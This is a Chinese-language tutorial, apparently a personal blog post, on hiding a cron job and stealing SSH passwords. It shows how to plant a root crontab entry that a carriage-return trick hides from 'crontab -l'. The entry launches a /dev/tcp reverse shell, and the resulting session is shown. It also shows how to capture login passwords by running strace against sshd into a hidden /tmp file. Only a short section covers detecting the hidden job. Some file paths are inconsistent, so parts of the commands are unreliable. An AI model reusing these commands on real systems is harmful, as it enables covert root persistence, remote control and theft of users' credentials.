隐藏crontab和键盘记录密码
一 前言
前几天朋友发一个文章,是关于crontab的隐藏的,涨姿势了,所以就学习下,觉得还蛮实用的,于是有了这篇文章。
二 crontab隐藏
2.1 从一条命令说起
以下命令比较奇怪,我们明明输入文件内容是"abb\rocddde" 但是直接用cat输出的时候是\r
后面的内容。这里面 echo -e
表示启用反斜杠转义的解释即\r
表示回车。
root@ubuntu-lab:/home/miao# echo -e "abb\rocddde"> b.txt
root@ubuntu-lab:/home/miao# cat b.txt
ocddde
root@ubuntu-lab:/home/miao# cat -A b.txt
abb^Mocddde$
这说明cat在输出时候,如果有回车,则显示会有问题,用参数:-A
即可显示所有内容:
-A, --show-all
equivalent to -vET
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
-T, --show-tabs
display TAB characters as ^I
了解了这个缺陷,再知道crontab -l
其实是cat 此用户对应的crontab文件即:
/var/spool/cron/crontabs/root
2.2 crontab 隐藏
测试的脚本涉及到shell反弹,先测试下,启动一个端口(攻击端)
root@ubuntu-lab:/home/miao# nc -lnvp 1111
Listening on 0.0.0.0 1111
被攻击端反向连接:
root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1
具体shell反弹的解释见:https://www.jianshu.com/p/41fffb0654a7
简单来说把bash的输入输出,错误输出都重定向到tcp连接上去。
刚才是一次执行,如果攻击端的端口1111 没有开启的话,会报连接错误:
root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/1111: Connection refused
那么如何保证被攻击端定时连接,直到我们开启端口那,很显然我们可以采用crontab方式。
初次版本:
root@ubuntu-lab:/home/miao# echo "*/1 * * * * bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 " >/var/spool/cron/crontabs/root
root@ubuntu-lab:/home/miao# crontab -l
*/1 * * * * bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "
显然如果这样达不到隐藏效果,隐藏下很简单加个回车就行,但是不能仅仅没显示,我们要让crontab -l
展示的信息和没有配置crontab是一样的。
这样写crontab不好测试,也可以独立写个shell:
root@ubuntu-lab:/home/miao# crontab -l
*/1 * * * * sh /home/miao/1.sh
root@ubuntu-lab:/home/miao# cat 1.sh
#!/bin/bash
echo `date` >/home/miao/122
echo $? >>/home/miao/122
bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "
效果如下:
root@ubuntu-lab:/home/miao# nc -lnvp 1111
Listening on 0.0.0.0 1111
Connection received on 127.0.0.1 57768
bash: cannot set terminal process group (8552): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu-lab:~#
root@ubuntu-lab:~# pwd
pwd
/root
root@ubuntu-lab:~# cd /home/miao
cd /home/miao
root@ubuntu-lab:/home/miao# pwd
pwd
/home/miao
隐藏的命令实践如下:
root@ubuntu-lab:/home/miao# crontab -l
no crontab for root
root@ubuntu-lab:/home/miao# (crontab -l;printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami`%100c\n")|crontab -
no crontab for root
root@ubuntu-lab:/home/miao# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Jul 24 05:28:19 2022)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
no crontab for root
root@ubuntu-lab:/home/miao# cat -A /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.$
# (- installed on Sun Jul 24 05:28:19 2022)$
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)$
* * * * * /home/miaohq/1.sh;^Mno crontab for root
注意这个"%100c\n" 加了%100c即要保证回车后面的字符超过100个,换行也是模仿crontab -l的效果,如果不加%100c,回车后面的字符就从开头开始输出,会导致后面跟着前面的一些字符信息,如下:
root@ubuntu-lab:/home/miao# printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami` \n"
no crontab for root /1.sh;
到此结束。
2.3 如何检测
检测比较简单,首先用netstat 查看连接信息的进程,然后通过进程的关系查找这个进程由哪个启动的,如下:
root@ubuntu-lab:/home/miao# netstat -antp|grep 1111
tcp 1 0 0.0.0.0:1111 0.0.0.0:* LISTEN 1786/nc
tcp 0 0 127.0.0.1:57386 127.0.0.1:1111 ESTABLISHED 1803/bash
tcp 0 0 127.0.0.1:57390 127.0.0.1:1111 ESTABLISHED 1870/bash
tcp 0 0 127.0.0.1:1111 127.0.0.1:57386 ESTABLISHED 1786/nc
tcp 133 0 127.0.0.1:1111 127.0.0.1:57390 ESTABLISHED -
root@ubuntu-lab:/home/miao# pstree -p|grep 1803
|-cron(1013)-+-cron(1798)---sh(1799)---1.sh(1800)---bash(1802)---bash(1803)
root@ubuntu-lab:/home/miao#
root@ubuntu-lab:/home/miao#
root@ubuntu-lab:/home/miao# ps -ef|grep 1013
root 1013 1 0 05:48 ? 00:00:00 /usr/sbin/cron -f -P
root 1798 1013 0 05:51 ? 00:00:00 /usr/sbin/CRON -f -P
root 1865 1013 0 05:52 ? 00:00:00 /usr/sbin/CRON -f -P
root 1913 1013 0 05:53 ? 00:00:00 /usr/sbin/CRON -f -P
root 1962 1817 0 05:53 pts/0 00:00:00 grep --color=auto 1013
root@ubuntu-lab:/home/miao# ps -ef|grep 1798
root 1798 1013 0 05:51 ? 00:00:00 /usr/sbin/CRON -f -P
root 1799 1798 0 05:51 ? 00:00:00 /bin/sh -c /home/miao/1.sh;?no crontab for root
root 1973 1817 0 05:54 pts/0 00:00:00 grep --color=auto 1798
很简单,我们看到CRON启动了shell脚本:/bin/sh -c /home/miao/1.sh;?no crontab for root
三 strace 跟踪shell输入的密码
原理很简单,strace 可以跟踪应用程序的系统应用,并且可以获取应用程序的参数,那么就可以跟踪登录的sshd程序,将密码获取到。
脚本比较简单:
(strace -f -F -p `ps aux|grep "/usr/sbin/sshd"|grep -v grep|awk {'print $2'}` -e trace=read,write -s 32 2> /tmp/.ssh &)
如果报没有权限,改下:
/etc/sysctl.d/10-ptrace.conf
中:kernel.yama.ptrace_scope为0
后执行:sysctl -p
然后通过命令搜索:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
即可以获取密码。